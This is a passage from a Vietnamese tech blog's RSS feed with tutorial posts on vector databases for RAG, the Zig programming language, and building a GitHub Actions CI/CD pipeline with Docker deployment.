&lt;li&gt;&lt;a href=&quot;https://github.com/typesense/typesense&quot;&gt;Typesense GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://typesense.org/docs/guide/#quick-start&quot;&gt;Typesense Quick Start Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/typesense/typesense&quot;&gt;Docker — Typesense Image&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Vector Database — Qdrant, Chroma, Pinecone Cho AI</title><link>https://dopana-blog.pages.dev/blog/vector-database-ai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/vector-database-ai</guid><description>Vector database lưu và tìm kiếm embedding cho RAG, semantic search và recommendation. So sánh Qdrant, Chroma, Pinecone, Weaviate.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ứng dụng AI hiện đại không thể thiếu RAG (Retrieval-Augmented Generation). Nhưng RAG cần một nơi để lưu hàng triệu embedding và tìm ra cái phù hợp nhất trong milliseconds. Đó là lúc vector database xuất hiện.&lt;/p&gt;
&lt;p&gt;Bài viết này giải thích vector database là gì, so sánh các lựa chọn hàng đầu năm 2026, và chỉ bạn cách bắt đầu.&lt;/p&gt;
&lt;h2&gt;Embedding Là Gì?&lt;/h2&gt;
&lt;p&gt;Trước khi nói về vector database, cần hiểu embedding.&lt;/p&gt;
&lt;p&gt;Embedding là cách biểu diễn văn bản, ảnh, âm thanh thành một dãy số (vector) trong không gian nhiều chiều:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;Tôi thích mèo&quot; → [0.12, -0.45, 0.78, ..., 0.33]  (768-1536 chiều)
&quot;Tôi thích chó&quot; → [0.10, -0.42, 0.80, ..., 0.30]  (gần nhau)
&quot;Máy tính&quot;     → [0.90, -0.10, -0.20, ..., 0.85]  (xa hơn)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hai câu có nghĩa gần nhau sẽ có vector gần nhau trong không gian. Công việc của vector database là tìm ra những vector &quot;gần nhất&quot; với vector truy vấn.&lt;/p&gt;
&lt;h2&gt;Vector Database Là Gì?&lt;/h2&gt;
&lt;p&gt;Vector database là hệ thống lưu trữ và tìm kiếm vector. Khác với database truyền thống — nơi bạn tìm record có giá trị chính xác — vector database tìm record tương tự nhất về mặt ngữ nghĩa.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Database truyền thống:  SELECT * FROM products WHERE name = &apos;iPhone&apos;
Vector database:        SELECT * FROM products WHERE embedding NEAR query_embedding
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả trả về theo độ tương tự (score), không phải khớp chính xác. Điều này rất hữu ích cho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RAG — Tìm tài liệu liên quan cho LLM&lt;/li&gt;
&lt;li&gt;Semantic search — Tìm kiếm theo ý nghĩa, không từ khoá&lt;/li&gt;
&lt;li&gt;Recommendation — Gợi ý sản phẩm tương tự&lt;/li&gt;
&lt;li&gt;Image search — Tìm ảnh bằng ảnh hoặc mô tả&lt;/li&gt;
&lt;li&gt;Anomaly detection — Phát hiện bất thường&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ANN Và HNSW&lt;/h2&gt;
&lt;p&gt;Vector database không so sánh từng cặp vector (quá chậm với hàng triệu vector). Thay vào đó, chúng dùng ANN (Approximate Nearest Neighbor) — thuật toán xấp xỉ tìm hàng xóm gần nhất.&lt;/p&gt;
&lt;p&gt;Giải pháp phổ biến nhất hiện nay là HNSW (Hierarchical Navigable Small World) — xây dựng cấu trúc đồ thị nhiều tầng để duyệt nhanh:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Layer cao nhất: vài node, duyệt nhanh&lt;/li&gt;
&lt;li&gt;Layer thấp hơn: nhiều node hơn, chi tiết hơn&lt;/li&gt;
&lt;li&gt;Từ trên xuống dưới, thu hẹp dần phạm vi tìm kiếm&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HNSW trade-off giữa recall và speed qua tham số &lt;code&gt;ef&lt;/code&gt; và &lt;code&gt;M&lt;/code&gt;. Càng nhiều node duyệt, recall càng cao nhưng latency cũng tăng.&lt;/p&gt;
&lt;h2&gt;Các Vector Database Hàng Đầu 2026&lt;/h2&gt;
&lt;p&gt;Bốn cái tên thống trị thị trường vector database năm 2026:&lt;/p&gt;
&lt;h3&gt;Qdrant&lt;/h3&gt;
&lt;p&gt;Viết bằng Rust, mã nguồn mở (Apache 2.0). Tập trung vào hiệu năng và filter.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Latency p95: 22ms (nhanh nhất khi có filter)&lt;/li&gt;
&lt;li&gt;Self-host: Một binary Rust, Docker đơn giản&lt;/li&gt;
&lt;li&gt;Managed: Qdrant Cloud (~$45/tháng cho 10M vectors)&lt;/li&gt;
&lt;li&gt;Filter: Indexed-payload pre-filter, nhanh nhất trong các lựa chọn&lt;/li&gt;
&lt;li&gt;Hybrid search: Dense + sparse vector, hỗ trợ quantization&lt;/li&gt;
&lt;li&gt;Memory: Ít hơn 2-3x so với đối thủ Go&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Điểm yếu: Ít integration plug-and-play hơn Pinecone và Weaviate.&lt;/p&gt;
&lt;h3&gt;Chroma&lt;/h3&gt;
&lt;p&gt;Viết bằng Rust (từ bản rewrite 2025), mã nguồn mở. Tập trung vào developer experience.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setup: &lt;code&gt;pip install chromadb&lt;/code&gt; — chạy local trong 5 dòng code&lt;/li&gt;
&lt;li&gt;Self-host: Nhúng trong process Python/Node, không cần Docker&lt;/li&gt;
&lt;li&gt;Managed: Chroma Cloud (mới, còn non)&lt;/li&gt;
&lt;li&gt;Scale: Phù hợp prototype &amp;#x3C; 1M vectors&lt;/li&gt;
&lt;li&gt;Filter: Pre-filter, không mạnh bằng Qdrant&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Điểm yếu: Không có HA, không sparse vector, không quantization. Dùng để prototype rồi migrate.&lt;/p&gt;
&lt;h3&gt;Pinecone&lt;/h3&gt;
&lt;p&gt;SaaS thuần (không open source, không self-host). Tập trung vào zero-ops.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Latency p95: ~45ms (cộng thêm network latency)&lt;/li&gt;
&lt;li&gt;Managed: Serverless, không cần quản lý gì&lt;/li&gt;
&lt;li&gt;Giá: ~$70-100/tháng cho 10M vectors&lt;/li&gt;
&lt;li&gt;Filter: Metadata filtering, cải thiện nhưng vẫn kém Qdrant&lt;/li&gt;
&lt;li&gt;Giới hạn: 20K dimensions, lock-in vendor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Điểm yếu: Đắt khi scale, không tự host được.&lt;/p&gt;
&lt;h3&gt;Weaviate&lt;/h3&gt;
&lt;p&gt;Viết bằng Go, mã nguồn mở. Tập trung vào hybrid search và knowledge graph.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hybrid search: BM25 + vector fusion — mạnh nhất&lt;/li&gt;
&lt;li&gt;Built-in vectorization: Tự sinh embedding, không cần gọi API ngoài&lt;/li&gt;
&lt;li&gt;Managed: Weaviate Cloud (~$45/tháng)&lt;/li&gt;
&lt;li&gt;Latency: ~50ms p95&lt;/li&gt;
&lt;li&gt;GraphQL API: Query linh hoạt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Điểm yếu: Go runtime dùng nhiều RAM hơn Qdrant, setup phức tạp hơn.&lt;/p&gt;
&lt;h2&gt;So Sánh Chi Tiết&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Qdrant | Chroma | Pinecone | Weaviate |
|---|---|---|---|---|
| Ngôn ngữ | Rust | Python/Rust | C++ | Go |
| Open source | Apache 2.0 | Apache 2.0 | Không | BSD-3 |
| Self-host | Có | Có | Không | Có |
| Managed | Qdrant Cloud | Chroma Cloud | Serverless | Weaviate Cloud |
| P95 latency | 22ms | N/A (prototype) | 45ms | ~50ms |
| Filter | Tốt nhất | Cơ bản | Khá | Khá |
| Hybrid search | Sparse+dense | Không native | Sparse-dense | Native BM25+vector |
| Quantization | Scalar, binary, PQ | Không | Có (managed) | Scalar, binary |
| GIá (10M vectors) | ~$45/th | Miễn phí (self) | ~$70-100/th | ~$45/th |&lt;/p&gt;
&lt;h2&gt;Quick Start: Qdrant Với Docker&lt;/h2&gt;
&lt;p&gt;Qdrant là lựa chọn mặc định cho production RAG năm 2026. Khởi chạy đơn giản:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -p 6333:6333 qdrant/qdrant
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó có thể dùng REST API hoặc SDK. Ví dụ với JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install @qdrant/js-client-rest
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import { QdrantClient } from &apos;@qdrant/js-client-rest&apos;

const client = new QdrantClient({ host: &apos;localhost&apos;, port: 6333 })

// Tạo collection
await client.createCollection(&apos;products&apos;, {
  vectors: { size: 768, distance: &apos;Cosine&apos; }
})

// Upsert vector
await client.upsert(&apos;products&apos;, {
  points: [{
    id: 1,
    vector: [0.12, -0.45, 0.78, ...],   // embedding 768 chiều
    payload: { name: &apos;iPhone 15 Pro&apos;, price: 999 }
  }]
})

// Search vector gần nhất
const results = await client.search(&apos;products&apos;, {
  vector: [0.10, -0.42, 0.80, ...],
  limit: 5
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Quick Start: Chroma Cho Prototype&lt;/h2&gt;
&lt;p&gt;Chroma dùng để chạy thử nhanh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install chromadb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import chromadb

client = chromadb.Client()
collection = client.create_collection(&quot;products&quot;)

collection.add(
    documents=[&quot;iPhone 15 Pro mới nhất&quot;, &quot;Samsung Galaxy S24&quot;],
    metadatas=[{&quot;price&quot;: 999}, {&quot;price&quot;: 899}],
    ids=[&quot;prod_1&quot;, &quot;prod_2&quot;]
)

results = collection.query(
    query_texts=[&quot;điện thoại Apple&quot;],
    n_results=5
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Cái Nào?&lt;/h2&gt;
&lt;p&gt;Prototype / học tập → Chroma&lt;/p&gt;
&lt;p&gt;Không cần Docker, không cần server. &lt;code&gt;pip install&lt;/code&gt; là chạy. Dùng để thử nghiệm embedding, kiểm tra RAG pipeline.&lt;/p&gt;
&lt;p&gt;Sản phẩm thật, đội nhóm nhỏ → Qdrant Cloud&lt;/p&gt;
&lt;p&gt;Cân bằng tốt nhất giữa performance, cost, và độ phức tạp vận hành. Self-host nếu muốn tiết kiệm hơn.&lt;/p&gt;
&lt;p&gt;Không muốn động đến infrastructure → Pinecone Serverless&lt;/p&gt;
&lt;p&gt;Trả tiền để không phải nghĩ về server. Phù hợp startup có vốn, cần speed to market.&lt;/p&gt;
&lt;p&gt;Cần hybrid search (BM25 + vector) → Weaviate&lt;/p&gt;
&lt;p&gt;Khi keyword search vẫn quan trọng song song với semantic search — documentation search, enterprise search.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Vector database là hạ tầng không thể thiếu cho ứng dụng AI hiện đại. Năm 2026, lựa chọn đã rõ ràng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prototype: Chroma — zero setup&lt;/li&gt;
&lt;li&gt;Production RAG: Qdrant — nhanh nhất, rẻ nhất khi self-host&lt;/li&gt;
&lt;li&gt;Zero ops: Pinecone — trả tiền lấy tiện&lt;/li&gt;
&lt;li&gt;Hybrid search: Weaviate — BM25 + vector&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Qdrant là lựa chọn mặc định cho hầu hết team: mã nguồn mở, Rust, filter nhanh nhất, quantization sẵn, và Qdrant Cloud giá cạnh tranh. Việc còn lại là chọn embedding model phù hợp và bắt đầu xây dựng.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://qdrant.tech/documentation/&quot;&gt;Qdrant Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.trychroma.com/&quot;&gt;ChromaDB Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pinecone.io/&quot;&gt;Pinecone Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://weaviate.io/developers/weaviate&quot;&gt;Weaviate Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/1603.09320&quot;&gt;HNSW Algorithm Paper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ann-benchmarks.com/&quot;&gt;ANN Benchmarks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Zig — Comptime, Allocator, Và Systems Programmer Cần Biết</title><link>https://dopana-blog.pages.dev/blog/zig-deep-dive</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/zig-deep-dive</guid><description>Zig là ngôn ngữ systems mới nổi với comptime, explicit allocator, không hidden control flow. So sánh với C, Rust và use case thực tế.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong thế giới systems programming, C thống trị suốt 50 năm. Rust đến và giải quyết memory safety nhưng kèm learning curve dốc. Zig chọn một con đường khác: giữ sự đơn giản của C, thêm safety checks, và đặc biệt là &lt;code&gt;comptime&lt;/code&gt; — meta-programming không cần macro hay code generator.&lt;/p&gt;
&lt;h2&gt;Zig Là Gì?&lt;/h2&gt;
&lt;p&gt;Zig là ngôn ngữ systems programming, tương tự C nhưng hiện đại hơn. Không GC, không runtime, không hidden control flow. Một binary duy nhất (zig) tích hợp sẵn compiler, build system, cross-compiler, và C/C++ compiler.&lt;/p&gt;
&lt;p&gt;Những dự án dùng Zig sản xuất:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bun — JavaScript runtime, dùng Zig cho FFI, SQLite bindings, và hot path&lt;/li&gt;
&lt;li&gt;TigerBeetle — Financial transaction database, xử lý hàng tỷ giao dịch&lt;/li&gt;
&lt;li&gt;Ghostty — Terminal emulator mới, dùng Zig cho performance&lt;/li&gt;
&lt;li&gt;NullClaw — AI assistant infrastructure, binary 678KB, RAM ~1MB&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Comptime — Sát Thủ Của Zig&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;comptime&lt;/code&gt; là tính năng quan trọng nhất của Zig. Nó cho phép chạy Zig code tại compile time, và kết quả có thể dùng làm type, constant, hoặc code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;fn max(comptime T: type, a: T, b: T) T {
    if (a &gt; b) return a else return b
}

// Dùng với nhiều kiểu khác nhau
const x = max(i32, 10, 20);    // i32
const y = max(f64, 3.14, 2.71); // f64
// Compiler tự động sinh ra hai hàm riêng biệt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không giống C macro (xử lý text, dễ lỗi) hay Rust proc macro (ngôn ngữ riêng, compile step riêng) — comptime dùng cùng một ngôn ngữ Zig, cùng type system, cùng error messages.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;// Kiểm tra điều kiện tại compile time
fn mustBePositive(x: i32) i32 {
    comptime {
        if (x &amp;#x3C;= 0) @compileError(&quot;x must be positive!&quot;);
    }
    return x;
}

// Sinh type từ dữ liệu
fn Vector(comptime dim: u32) type {
    return struct {
        data: [dim]f64,
        
        fn length(self: @This()) f64 {
            var sum: f64 = 0;
            for (self.data) |v| sum += v * v;
            return @sqrt(sum);
        }
    };
}

const Vec3 = Vector(3);  // Type được sinh tại comptime
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Allocator — Memory Management Minh Bạch&lt;/h2&gt;
&lt;p&gt;Zig không có GC, không RAII, không borrow checker. Thay vào đó: mọi function dùng memory đều nhận allocator làm tham số.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;fn readFile(allocator: std.mem.Allocator, path: []const u8) ![]u8 {
    const file = try std.fs.cwd().openFile(path, .{});
    defer file.close();
    
    const content = try file.readToEndAlloc(allocator, 1_000_000);
    return content;
    // Caller chịu trách nhiệm free
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các allocator có sẵn:&lt;/p&gt;
&lt;p&gt;| Allocator | Mục đích |
|---|---|
| &lt;code&gt;GeneralPurposeAllocator&lt;/code&gt; | Debug (phát hiện leak/double-free) |
| &lt;code&gt;page_allocator&lt;/code&gt; | OS page (gọi mmap trực tiếp) |
| &lt;code&gt;ArenaAllocator&lt;/code&gt; | Free tất cả cùng lúc |
| &lt;code&gt;FixedBufferAllocator&lt;/code&gt; | Pre-allocated buffer |
| &lt;code&gt;StackAllocator&lt;/code&gt; | LIFO allocation |&lt;/p&gt;
&lt;h3&gt;Arena Pattern (Quan Trọng Nhất)&lt;/h3&gt;
&lt;p&gt;Arena là pattern phổ biến trong Zig — allocate nhiều lần, free một lần:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;fn handleRequest() !void {
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();  // Dọn tất cả khi thoát
    
    const alloc = arena.allocator();
    
    const name = try alloc.dupe(u8, &quot;Alice&quot;);
    const data = try alloc.alloc(u8, 1024);
    // Không cần free từng cái — arena.deinit() dọn hết
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bun dùng arena này cho mỗi HTTP request. TigerBeetle dùng cho mỗi transaction. Kết quả: gần như zero malloc/free overhead.&lt;/p&gt;
&lt;h2&gt;So Sánh Với C&lt;/h2&gt;
&lt;p&gt;| Tính năng | C | Zig |
|---|---|---|
| Memory | malloc/free | Allocator interface |
| Safety | Không | Runtime checks (debug), bounds check |
| Generic | Macro (&lt;code&gt;#define&lt;/code&gt;) | comptime (type-safe) |
| Build | Make/CMake | build.zig (tích hợp) |
| Cross-compile | Toolchain riêng | zig cc (built-in) |
| Slice | Pointer + size thủ công | &lt;code&gt;[]u8&lt;/code&gt; (built-in, bounds-checked) |
| Defer | Không | &lt;code&gt;defer&lt;/code&gt; / &lt;code&gt;errdefer&lt;/code&gt; |
| Error handling | errno | Error union (&lt;code&gt;!&lt;/code&gt; type) |
| Optionals | NULL pointer | &lt;code&gt;?T&lt;/code&gt; (optional type) |&lt;/p&gt;
&lt;h2&gt;So Sánh Với Rust&lt;/h2&gt;
&lt;p&gt;| Tính năng | Rust | Zig |
|---|---|---|
| Safety model | Compile-time borrow check | Runtime checks (debug, tắt ở release) |
| Learning curve | Cao (ownership, lifetime) | Thấp (C-like mental model) |
| Metaprogramming | Proc macro (ngôn ngữ riêng) | comptime (cùng ngôn ngữ) |
| Memory | RAII + ownership | Explicit allocator passing |
| Hidden control flow | Drop, deref coercion, implicit move | None by design |
| Compile time | Chậm (monomorphization) | Nhanh |
| C interop | FFI + unsafe | First-class (shared ABI) |
| Binary size | Lớn (monomorph + std) | Nhỏ (chỉ code dùng) |&lt;/p&gt;
&lt;h2&gt;Code Cụ Thể&lt;/h2&gt;
&lt;h3&gt;Đọc File&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;const std = @import(&quot;std&quot;);

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const alloc = gpa.allocator();
    
    const args = try std.process.argsAlloc(alloc);
    defer std.process.argsFree(alloc, args);
    
    if (args.len &amp;#x3C; 2) {
        try std.io.getStdOut().writeAll(&quot;Usage: cat-file &amp;#x3C;file&gt;\n&quot;);
        return;
    }
    
    const content = try std.fs.cwd().readFileAlloc(alloc, args[1], 10_000_000);
    defer alloc.free(content);
    
    try std.io.getStdOut().writeAll(content);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ArrayList&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;const std = @import(&quot;std&quot;);
const testing = std.testing;

test &quot;ArrayList basic&quot; {
    var list = std.ArrayList(i32).init(testing.allocator);
    defer list.deinit();
    
    try list.append(10);
    try list.append(20);
    try list.append(30);
    
    try testing.expectEqual(10, list.items[0]);
    try testing.expectEqual(@as(usize, 3), list.items.len);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zig có testing built-in — không cần thư viện ngoài.&lt;/p&gt;
&lt;h3&gt;Cross-Compile Với zig cc&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Build cho macOS, Linux, Windows từ một máy
zig build-exe main.zig -target x86_64-linux
zig build-exe main.zig -target aarch64-linux
zig build-exe main.zig -target x86_64-windows

# Dùng zig cc thay gcc (compile C/C++)
zig cc -o hello hello.c -target aarch64-linux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zig bundles LLVM và các target triple — cross-compile không cần cài toolchain riêng.&lt;/p&gt;
&lt;h2&gt;Khi Nào Dùng Zig?&lt;/h2&gt;
&lt;p&gt;Phù hợp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Systems programming (OS, driver, embedded)&lt;/li&gt;
&lt;li&gt;Tools và CLI (binary nhỏ, start nhanh)&lt;/li&gt;
&lt;li&gt;Game engine (cần control memory)&lt;/li&gt;
&lt;li&gt;Performance-critical path (cần predictable latency)&lt;/li&gt;
&lt;li&gt;C/C++ project muốn modernization dần dần (Zig import .h trực tiếp)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không phù hợp (hiện tại):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web app (dùng Go, Rust, TypeScript)&lt;/li&gt;
&lt;li&gt;Data science (Python)&lt;/li&gt;
&lt;li&gt;Ecosystem còn nhỏ (ít thư viện)&lt;/li&gt;
&lt;li&gt;Production GUI (chưa có framework ổn định)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Zig là ngôn ngữ dành cho người muốn viết systems code mà không muốn học borrow checker của Rust hay vật lộn với macro của C.&lt;/p&gt;
&lt;p&gt;Comptime là killer feature: generic type-safe, không cần code generator, chạy ngay trong compiler. Allocator pattern minh bạch: bạn biết ai allocate, ai free, dùng allocator nào. Build system tích hợp: không Make/CMake, cross-compile một lệnh.&lt;/p&gt;
&lt;p&gt;Zig 0.16+ đã sẵn sàng cho production. Bun, TigerBeetle, Ghostty, NullClaw đang chạy trên nó hàng ngày.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/&quot;&gt;Zig Language Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglearn.org/&quot;&gt;Zig Learn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/std/&quot;&gt;Zig Standard Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ziglang/zig&quot;&gt;Zig GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/#comptime&quot;&gt;Comptime in Zig&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>CI/CD Pipeline — Tự Động Hóa Từ Commit Đến Production</title><link>https://dopana-blog.pages.dev/blog/cicd-pipeline</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/cicd-pipeline</guid><description>Xây dựng CI/CD pipeline với GitHub Actions: lint, test, build, deploy tự động mỗi lần push code.</description><pubDate>Tue, 30 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CI/CD (Continuous Integration / Continuous Deployment) là xương sống của quy trình phát triển hiện đại. Mỗi lần push code — tự động kiểm tra, build, và deploy.&lt;/p&gt;
&lt;h2&gt;CI vs CD&lt;/h2&gt;
&lt;p&gt;| CI (Continuous Integration) | CD (Continuous Deployment/Delivery) |
|---|---|
| Lint, test, build khi push | Deploy lên staging/production |
| Đảm bảo code mới không hỏng | Đảm bảo luôn sẵn sàng release |
| Chạy trên mỗi PR | Chạy khi merge vào main |&lt;/p&gt;
&lt;h2&gt;GitHub Actions — Cấu Trúc Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;name: CI/CD Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm run lint
      - run: npm run test
      - run: npm run build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pipeline Hoàn Chỉnh&lt;/h2&gt;
&lt;h3&gt;1. Lint &amp;#x26; Type Check&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;lint:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: 20
        cache: &apos;npm&apos;
    - run: npm ci
    - run: npm run lint
    - run: npm run typecheck
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Unit Test + Coverage&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;test:
  needs: lint
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: 20
    - run: npm ci
    - run: npm run test:cov
    - uses: actions/upload-artifact@v4
      with:
        name: coverage
        path: coverage/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Build &amp;#x26; Push Docker Image&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;build:
  needs: test
  if: github.ref == &apos;refs/heads/main&apos;
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - name: Build Docker image
      run: docker build -t myapp:${{ github.sha }} .
    - name: Push to registry
      run: |
        docker tag myapp:${{ github.sha }} registry.example.com/myapp:${{ github.sha }}
        docker push registry.example.com/myapp:${{ github.sha }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Deploy&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;deploy:
  needs: build
  runs-on: ubuntu-latest
  environment: production
  steps:
    - name: Deploy to server
      uses: appleboy/ssh-action@v1
      with:
        host: ${{ secrets.SERVER_HOST }}
        username: ${{ secrets.SERVER_USER }}
        key: ${{ secrets.SSH_KEY }}
        script: |
          docker pull registry.example.com/myapp:${{ github.sha }}
          docker stop myapp || true
          docker rm myapp || true
          docker run -d --name myapp -p 3000:3000 \
            -e DATABASE_URL=${{ secrets.DATABASE_URL }} \
            registry.example.com/myapp:${{ github.sha }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Matrix Build — Test Nhiều Phiên Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;test:
  strategy:
    matrix:
      node-version: [18, 20, 22]
      os: [ubuntu-latest, windows-latest]

  runs-on: ${{ matrix.os }}
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: ${{ matrix.node-version }}
    - run: npm ci
    - run: npm test
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Caching — Tăng Tốc Pipeline&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles(&apos;package-lock.json&apos;) }}
    restore-keys: |
      ${{ runner.os }}-node-
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Secrets — Không Hardcode&lt;/h2&gt;
&lt;p&gt;Trong GitHub:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Settings &gt; Secrets and variables &gt; Actions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thêm: &lt;code&gt;SERVER_HOST&lt;/code&gt;, &lt;code&gt;DB_PASSWORD&lt;/code&gt;, &lt;code&gt;API_KEY&lt;/code&gt;, &lt;code&gt;SSH_KEY&lt;/code&gt;...&lt;/p&gt;
&lt;p&gt;Dùng trong workflow:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;- run: echo &quot;${{ secrets.SSH_KEY }}&quot; &gt; ssh_key
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Compose Cho Test Integration&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;test-integration:
  runs-on: ubuntu-latest
  services:
    postgres:
      image: postgres:16-alpine
      env:
        POSTGRES_PASSWORD: testpass
      options: &gt;-
        --health-cmd pg_isready
        --health-interval 10s
    redis:
      image: redis:7-alpine

  steps:
    - uses: actions/checkout@v4
    - run: npm ci
